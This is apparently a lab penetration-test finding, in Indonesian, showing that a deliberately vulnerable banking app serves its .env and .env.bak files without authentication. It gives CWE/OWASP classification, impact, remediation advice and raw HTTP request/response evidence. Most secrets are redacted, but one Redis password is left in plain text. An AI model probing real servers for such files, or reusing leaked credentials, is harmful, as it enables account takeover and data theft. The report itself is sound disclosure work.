Kembali ke indeks

LAB FAIL

Sensitive Data Exposure - Web Root - Environment Files

Sensitive Data Exposure — Web Root — Environment Files

CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory · OWASP A05:2021 - Security Misconfiguration

Kerentanan

[FAIL] Sensitive Data Exposure - Web Root - Environment Files

Deskripsi

Berkas konfigurasi lingkungan .env dan salinan cadangannya .env.bak disajikan langsung dari web root tanpa autentikasi. Berkas ini memuat kunci rahasia aplikasi, secret JWT, dan kredensial database.

Dampak

Confidentiality (High): penyerang tanpa autentikasi memperoleh SECRET_KEY aplikasi, JWT_SECRET, serta host, nama, pengguna, dan password database. Dengan JWT_SECRET, token sesi apa pun dapat ditempa dengan tanda tangan yang sah, termasuk token administrator. Kredensial database memungkinkan akses langsung ke penyimpanan data bila jaringan database terjangkau.

CWE

CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory

OWASP

A05:2021 - Security Misconfiguration

Skenario

Eksploitasi: permintaan GET biasa ke /.env tanpa autentikasi -> HTTP 200 dengan isi berkas konfigurasi. Berkas cadangan /.env.bak juga tersaji, sehingga konfigurasi lama termasuk kredensial yang mungkin masih berlaku ikut terekspos.

Endpoint

GET http://127.0.0.1:5001/.env GET http://127.0.0.1:5001/.env.bak

Fitur terdampak

Penyajian berkas statis dari web root

Rekomendasi perbaikan

- Jangan menempatkan berkas konfigurasi di dalam web root, dan jangan membuat rute yang menyajikannya. - Blokir akses ke berkas berawalan titik dan berekstensi cadangan pada reverse proxy. - Pindahkan rahasia ke secret manager atau variabel lingkungan yang tidak berupa berkas yang dapat disajikan. - Rotasi SECRET_KEY, JWT_SECRET, dan kredensial database yang telah terekspos.

Bukti konsep

  1. (Screenshot 1) EKSPLOITASI: GET /.env tanpa autentikasi -> HTTP 200, SECRET_KEY, JWT_SECRET, dan kredensial database terekspos.
  2. (Screenshot 2) DAMPAK CIA: GET /.env.bak -> HTTP 200, salinan cadangan konfigurasi juga dapat diunduh publik.

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

HTTP request
GET /.env HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 571
Content-Disposition: inline; filename=".env"
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:21 GMT

APP_ENV=production
FLASK_DEBUG=true
SECRET_KEY=[REDACTED-LAB-VALUE]
JWT_SECRET=[REDACTED-LAB-VALUE]
DB_HOST=vulnbank-db.internal
DB_PORT=5432
DB_NAME=vulnerable_bank
DB_USER=vulnbank_prod
DB_PASSWORD=[REDACTED-LAB-VALUE]
DATABASE_URL=postgresql://[REDACTED-LAB-USER]:[REDACTED-LAB-VALUE]@vulnbank-db.internal:5432/vulnerable_bank
REDIS_URL=redis://:VbRedis_2026!@vulnbank-cache.internal:6379/0
DEEPSEEK_API_KEY=[REDACTED-LAB-VALUE]
SMTP_HOST=mail.vulnbank.internal
SMTP_PORT=587
SMTP_USER=[REDACTED-EMAIL]
SMTP_PASSWORD=[REDACTED-LAB-VALUE]
Tangkapan layar
HTTP request
GET /.env.bak HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 494
Content-Disposition: inline; filename=".env.bak"
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:22 GMT

APP_ENV=production
FLASK_DEBUG=true
SECRET_KEY=[REDACTED-LAB-VALUE]
JWT_SECRET=[REDACTED-LAB-VALUE]
DB_HOST=[REDACTED-LAB-HOST]
DB_PORT=5432
DB_NAME=vulnerable_bank
DB_USER=vulnbank_admin
DB_PASSWORD=[REDACTED-LAB-VALUE]
DATABASE_URL=postgresql://[REDACTED-LAB-USER]:[REDACTED-LAB-VALUE]@[REDACTED-LAB-HOST]:5432/vulnerable_bank
ADMIN_USERNAME=ops_admin
ADMIN_PASSWORD=[REDACTED-LAB-VALUE]
SMTP_HOST=[REDACTED-LAB-HOST]
SMTP_PORT=587
SMTP_USER=[REDACTED-EMAIL]
SMTP_PASSWORD=[REDACTED-LAB-VALUE]
Tangkapan layar

← Kasus sebelumnya: Sensitive Data Exposure - Debug Endpoint - User Credentials Kasus berikutnya: Server-Side Request Forgery - Profile Picture - Import By URL →